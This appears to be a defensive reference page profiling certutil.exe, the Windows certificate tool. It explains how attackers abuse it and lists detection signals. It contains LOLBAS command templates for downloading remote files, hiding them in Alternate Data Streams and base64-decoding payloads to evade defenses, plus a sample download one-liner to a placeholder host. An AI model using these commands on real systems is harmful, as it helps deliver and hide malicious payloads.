Process

unknown

certutil.exe

certutil.exe is a Windows command-line tool for working with certificates and Certificate Services. Administrators use it to inspect, request, and manage certificates and certificate authorities, and to verify file hashes. The same binary can also download files and base64 encode or decode data, which is why it has become a favorite living-off-the-land tool for attackers.

File identity

File details

Not observed.

Signing information

Not observed.

File version0

Not observed.

File size0

Not observed.

Execution context

File paths0

Not observed.

User context0

Not observed.

Integrity level0

Not observed.

Instances0

Not observed.

Session0

Not observed.

Token privileges0

Not observed.

Ancestry

Parents0

Not observed.

Children0

Not observed.

Grandparents0

Not observed.

Grandchildren0

Not observed.

Behavior

Loaded modules0

Not observed.

Named pipes0

Not observed.

Process handles0

Not observed.

Command-line patterns0

Not observed.

LOLBAS7
  • certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}Download · Download file from Internet
  • certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}Download · Download file from Internet
  • certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:tttADS · Download file from Internet and save it in an NTFS Alternate Data Stream
  • certutil.exe -URL {REMOTEURL:.exe}Download · Download file from Internet
  • certutil -encode {PATH} {PATH:.base64}Encode · Encode files to evade defensive measures
  • certutil -decode {PATH:.base64} {PATH}Decode · Decode files to evade defensive measures
  • certutil -decodehex {PATH:.hex} {PATH}Decode · Decode files to evade defensive measures

Indicators

Hashes

Not observed.

Analysis

About this process

certutil.exe is the command-line interface to the Windows certificate and Certificate Services stack. Its intended job is certificate administration: dumping and verifying certificates, requesting them from a certificate authority, managing a CA, and checking revocation. The genuine binary lives at C:\Windows\System32\certutil.exe, with a 32-bit copy under SysWOW64.

Alongside the certificate work it carries general-purpose helpers that have nothing to do with PKI. -hashfile computes a file's MD5, SHA1, or SHA256. -encode and -decode convert data to and from base64. -urlcache and -verifyctl can fetch a file from a URL. These are all documented features, but together they turn certutil into a download-and-decode utility that happens to be signed by Microsoft and present on every Windows machine.

Legitimately, certutil is run by administrators, by enrollment and PKI scripts, and by the Task Scheduler in certificate-management contexts. On an ordinary workstation it is uncommon. What a given instance is doing is written in its command-line verb.

Security notes

certutil.exe is one of the most used download tools on Windows (T1105). A command line such as certutil -urlcache -split -f https://host/payload makes the signed binary pull a file from the internet, and because the binary is trusted and built in, the transfer hides behind a name that belongs on every machine. Network activity from certutil is itself unusual and worth treating as a lead.

It is equally useful for unpacking payloads (T1140). Attackers ship a base64-encoded file to slip past content scanners, then run certutil -decode on the host to restore the original executable or script. The reverse, -encode, is used to obfuscate data on the way out (T1027). A -decode that yields a PE or a script is a strong signal.

In every case the binary is the genuine signed certutil, so path and signature checks pass and even application-control rules that trust Microsoft binaries let it run. The command-line verb and the parent are where the intent shows.

Anomaly signals7
  • Image path other than C:\Windows\System32\certutil.exe or its SysWOW64 copyhigh
  • A URL on the command line, especially with -urlcache or -verifyctlhigh
  • -decode or -decodehex producing an executable or scripthigh
  • Parent is an Office application, cmd.exe, powershell.exe, wscript.exe, cscript.exe, or mshta.exehigh
  • Outbound network connections from certutilhigh
  • -encode of a local file, then the output sent elsewhere (staging)med
  • Output written to a user-writable path (Temp, AppData, Downloads)med

Telemetry

OS prevalence0

Not observed.

Observation timeline

Not observed.

References

Subsearch

Hasbeen seen inof certutil.exe?